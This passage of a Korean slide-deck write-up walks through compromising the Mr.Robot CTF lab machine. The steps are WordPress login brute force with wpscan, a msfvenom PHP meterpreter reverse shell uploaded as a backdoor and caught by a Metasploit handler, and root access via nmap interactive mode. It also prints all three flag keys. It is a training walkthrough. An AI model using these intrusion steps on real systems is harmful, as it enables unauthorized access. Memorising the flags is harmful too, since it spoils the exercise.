  • 8. 8 Mr.Robot CTF Write-Up 이로써 피해자 호스트의 IP 주소가 [192.168.238.135] 라는 것을 알 수 있습니다. 또한 80번 포트와 443번 포트가 열려있으므로, HTTP/HTTPS 서비스가 실행 중이라는 것을 알 수 있고, 이를 통해 웹 서버가 동작 중이라는 것을 유추할 수 있습니다. 웹 브라우저를 이용하여 접속을 해봅니다.
  • 9. 9 Mr.Robot CTF Write-Up 홈페이지에 어떠한 정보들이 있고 어떠한 취약점이 있는지를 확인하기 위해 [nikto] 툴을 이용하여 조사합니다. #nikto –h 192.168.238.135
  • 10. 10 Mr.Robot CTF Write-Up 먼저, robots.txt 파일을 확인해보도록 하겠습니다. 보통 robots.txt 파일에는 검색에서 제외시킬 항목들을 적어둡니다. 이를 확인하면 키를 찾는 것에 대한 단서를 찾을 수 있을 것입니다. [fsocity.dic] 이라는 사전파일(Dictionary File)과 [key-1-of-3.txt] 파일을 발견할 수 있고, [key-1-of-3.txt] 파일을 통해 첫 번째 키를 발견할 수 있습니다.
  • 11. 11 Mr.Robot CTF Write-Up The First Key is... 073403c8a58a1f80d943455fb30724b9
  • 12. 12 Mr.Robot CTF Write-Up 다음으로 [fsocity.dic] 파일을 확인해보겠습니다. 전형적인 사전파일(Dictionary File)로 나타나는 것을 확인할 수 있습니다.
  • 13. 13 Mr.Robot CTF Write-Up 이 사전 파일은 후에 어딘가에 사용할 수도 있으므로, 미리 다운로드 받습니다. #wget http://192.168.238.135/fsocity.dic
  • 14. 14 Mr.Robot CTF Write-Up [robots.txt] 파일은 조사했으니, 이제 관리자 로그인 페이지를 조사해보도록 합니다. 관리자 페이지로 접속을 합니다.
  • 15. 15 Mr.Robot CTF Write-Up [fsocity.dic] 파일에 있는 임의의 단어들을 아이디로 입력을 하고 임의의 패스워드(1234)를 입력을 해보았더니, 다음과 같은 결과가 나타났습니다. 아이디가 틀렸으면 알맞은 아이디가 아니라고 에러 메시지 내용이 출력되며, 아이디가 맞으면 아이디와 패스워드가 일치하지 않는다고 내용이 출력이 되는 것을 확인할 수 있습니다.
  • 16. 16 Mr.Robot CTF Write-Up 존재하는 아이디 ‘Elliot’을 찾았으므로, [fsocity.dic] 파일 내에서 ‘Elliot’이라는 아이디에 맞는 패스워드를 찾기 위해 [wpscan] 툴을 이용합니다. #wpscan --url http://192.168.238.135 --wordlist [fsocity.dic path] --username Elliot
  • 17. 17 Mr.Robot CTF Write-Up ID : Elliot & PW : ER28-0652 아이디와 비밀번호를 찾아냈으니 관리자 페이지에 로그인을 합니다.
  • 18. 18 Mr.Robot CTF Write-Up 관리자 페이지에 접속했습니다! 이제 무엇이든 시도해볼 수 있을 것입니다. 어떤 유저가 가입이 되어있는지도 볼 수 있습니다.
  • 19. 19 Mr.Robot CTF Write-Up 관리자 페이지에 로그인을 했으니 이제 백도어 쉘을 업로드하기 위해서 워드프레스에서 제공하는 플러그인 중 [WP File Manager]를 설치합니다. 이를 통해 간단하게 파일을 업로드 할 수 있게 됩니다.
  • 20. 20 Mr.Robot CTF Write-Up 백도어 쉘을 만들기 위해 [msfvenom]을 사용합니다. #msfvenom –p php/meterpreter_reverse_tcp lhost=(Attacker IP Address) lport=4444 -f raw > shell.php 이렇게 명령어를 입력해서 [shell.php] 라는 백도어 쉘 파일을 생성합니다. (파일명은 다르게 변경할 수 있습니다.)
  • 21. 21 Mr.Robot CTF Write-Up 생성한 [shell.php] 파일을 관리자 페이지를 통해서 서버로 업로드를 합니다.
  • 22. 22 Mr.Robot CTF Write-Up 업로드한 파일의 경로를 확인하고 공격자 시스템에서 백도어로 접속하기 위해 [msfconsole]을 실행합니다. (metasploit 툴)
  • 23. 23 Mr.Robot CTF Write-Up [msf] 로 공격하기 위해 아래 명령어들을 입력하여 공격 설정을 진행합니다. > use exploit/multi/handler > set payload php/meterpreter_reverse_tcp > set lport 4444 > set lhost 192.168.238.134 > exploit –j -z
  • 24. 이전에 업로드한 [shell.php]로 접근을 하면 공격자 시스템에서는 간단하게 미터프리터 쉘 (Meterpreter Shell)을 획득할 수 있게 됩니다. 또한 쉘을 통해 리눅스 명령어(Linux Command)를 입력할 수 있게 됩니다. 간단하게 [sysinfo]와 [ls] 명령어를 입력하여 정보들을 확인해봅니다. 제대로 침투에 성공한 것을 확인할 수 있습니다. 24 Mr.Robot CTF Write-Up
  • 25. 25 Mr.Robot CTF Write-Up 홈 경로(Home path)로 이동을 해서 어떤 유저 폴더가 있는지를 확인합니다. 유저 중에 ‘robot’ 이라는 유저를 찾았습니다. ‘robot’ 폴더로 들어가서 어떤 파일들이 있는지를 확인해보겠습니다. 두 번째 key 파일과 패스워드 파일을 찾았습니다!
  • 26. 26 Mr.Robot CTF Write-Up 그러나 미터프리터 쉘(Meterpreter Shell)에서는 key 파일을 바로 열 수 없다고 나타납니다. 어떤 문제인지는 잘 모르겠지만 예상으로는 퍼미션(Permission) 문제인 것 같습니다. 우선 패스워드 파일을 먼저 살펴봅니다. 패스워드 파일에서 ‘robot’이라는 유저의 패스워드가 md5 hash로 표현되어 있습니다. c3fcd3d76192e4007dfb496cca67e13b 이 md5 hash 가 무엇인지 알아보도록 하겠습니다.
  • 27. 27 Mr.Robot CTF Write-Up 구글 검색(Google Search)을 이용하면 쉽게 md5 hash crack 페이지를 찾을 수 있습니다. 이 페이지들 중 한 곳에서 hash cracking을 해보면 plain text를 얻을 수 있습니다. Md5 hash : c3fcd3d76192e4007dfb496cca67e13b Plain text : abcdefghijklmnopqrstuvwxyz 이렇게 패스워드를 찾을 수 있습니다. 패스워드까지 알아냈으므로 이제 본격적으로 리눅스에 로그인을 합니다.
  • 28. 28 Mr.Robot CTF Write-Up ‘robot’ 유저로 로그인을 성공하였습니다! 이제 key 파일을 찾아서 내용을 확인해보도록 합니다.
  • 29. 29 Mr.Robot CTF Write-Up 두 번째 Key 파일을 찾았습니다! We found it!
  • 30. 30 Mr.Robot CTF Write-Up The Second Key is... 822c73956184f694993bede3eb39f959
  • 31. 이제 마지막! 세 번째 키를 찾으러 여정을 떠나야합니다. 현재는 ‘robot’ 이라는 유저로 로그인을 한 상태이므로 이를 ‘root’로 바꿔서 들어가보도록 하겠습니다. 일단 ‘root’ 계정 폴더로 들어가보도록 하겠습니다. ‘퍼미션 거부(Permission denied)’ 메시지가 출력됩니다. 어찌 보면 당연한 결과입니다. 이제 ‘root’ 권한(root permission) 획득(Get)이 남았는데… 어떻게 진행을 해야 할까요? 31 Mr.Robot CTF Write-Up
  • 32. 32 Mr.Robot CTF Write-Up [nmap]의 ‘interactive’ mode 를 이용하면 됩니다. (reference : https://www.exploit-db.com/papers/18168/) ‘interactive’ 모드에는 쉘을 실행시켜서 ‘root’ 권한으로 갈 수 있는 권한 상승 취약점 (Privilege Escalation Vulnerability)이 존재합니다. 따라서 ‘interactive’ 모드를 활성화시키고 여기서 쉘을 실행시키면 바로 ‘root’ 권한으로 넘어갈 수 있다는 것입니다. 이를 이용하여 시도를 해보도록 하겠습니다.
  • 33. 33 Mr.Robot CTF Write-Up 쉘을 실행시켰습니다. ‘whoami’ 명령어를 이용하여 현재 어떤 유저로 로그인 되어있는지 확인해보겠습니다.
  • 34. 34 Mr.Robot CTF Write-Up 성공적으로 ‘root’ 권한으로의 권한 상승이 이루어졌습니다! (root privilege escalation success!) 그리고 ‘/root’ 디렉토리(Directory)에서 세 번째 키를 발견할 수 있습니다!
  • 35. 35 Mr.Robot CTF Write-Up The Third Key is... 04787ddef27c3dee1ee161b21670b4e4